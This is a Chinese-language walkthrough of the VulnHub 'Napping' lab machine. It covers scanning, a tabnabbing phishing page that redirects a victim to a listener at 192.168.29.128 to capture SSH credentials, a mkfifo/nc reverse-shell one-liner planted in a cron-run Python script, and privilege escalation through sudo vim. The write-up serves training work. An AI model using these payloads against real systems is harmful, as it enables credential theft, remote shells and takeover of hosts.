一、下载靶机
下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova
下载好后使用VM打开,将网络配置模式改为net,防止桥接其他主机干扰(桥接Mac地址也可确定主机)。
二、发现主机
使用nmap扫描没有相应的ip,可能是靶机网卡接口有问题,去更改配置。
nmap -O 192.168.29.1/24
修改虚拟机网卡接口配置,在刚刚启动虚拟机的时候按住shift键,出现类似下图界面。
按e键进入修改界面找到 ro ******** 这一部分,直接在后面添加 rw single init=/bin/bash 。
rw single init=/bin/bash
修改完后 Ctrl + X 进入bash shell 界面,输入ip a 查看网卡ens33。
ip a
修改网络配置文件/etc/netplan目录下的yaml文件。将里面的内容修改为下图所示。然后重启虚拟机。
vi /etc/network/interfaces
这时候再去扫描,可以找到我们靶机的地址:192.168.29.134
三、端口扫描
使用nmap详细扫描全部端口,开启了22、80端口。
nmap -A -p- 192.168.29.134
四、目录扫描
使用下列命令探测出目录后,再看看一些敏感目录等,把所有的目录找全。
gobuster dir -u http://192.168.29.134/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
五、web渗透
访问上述出来的目录,找我们的攻击点。我们能够访问的只有这些。
对登录框进行各种漏洞测试发现没有什么可以利用的点,所以我们直接注册账号,登录进去看看有没有什么可以利用的。
密码要是六位以上的,登录进去可以看到是一个这样的界面
网页有个插入URL的输入框,我们查看源代码看看逻辑,可以发现这里会显示我们输入的URL,可以尝试使用钓鱼查看他的用户和密码。
kali在网站绝对路径建立文件,测试是否可以进行正常访问。
根据页面回显是可以正常访问的,那么接下来构造我们自己的钓鱼代码。这里面的网址为另一个网址,不是本文件地址。
<!DOCTYPE html>
<html>
<body><script>if(window.opener) window.opener.parent.location.replace('http://192.168.29.128:8888/2.html');if(window.opener != window) window.opener.parent.location.replace('http://192.168.29.128:8888/2.html');</script>
</body>
</html>
打开监听,将我们kali文件的访问地址输入到输入框中,打开稍等一会就可以得到我们需要的ssh账号密码了。
nc -lvp 8888
将我们得到的信息URL解码一下得到用户名和密码,使用ssh进行连接。
连接成功后我们查看当前所在用户的权限,看看能执行什么命令。
whoami
id
find / -group administrators 2>/dev/null
当前用户权限很低,只有一个python文件可以执行,查看该文件内容。
cat /home/adrian/query.py
根据py文件内信息可以知道他会往site_status.txt文件内写入东西。查看该文件。
该文件每两分钟写一条消息。
cat /home/adrian/site_status.txt
根据定时文件的执行我们可以写一个反弹shell的命令在里面,在两分钟后文件执行的时候我们的反弹shell命令也会一起被执行。打开监听并将下列命令加到py文件里。
nc -lvp 6666
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.29.128 6666 >/tmp/f")
得到的反弹shell被赋予了vim权限,使用vim提权
sudo vim -c ':!/bin/bash'
提权成功。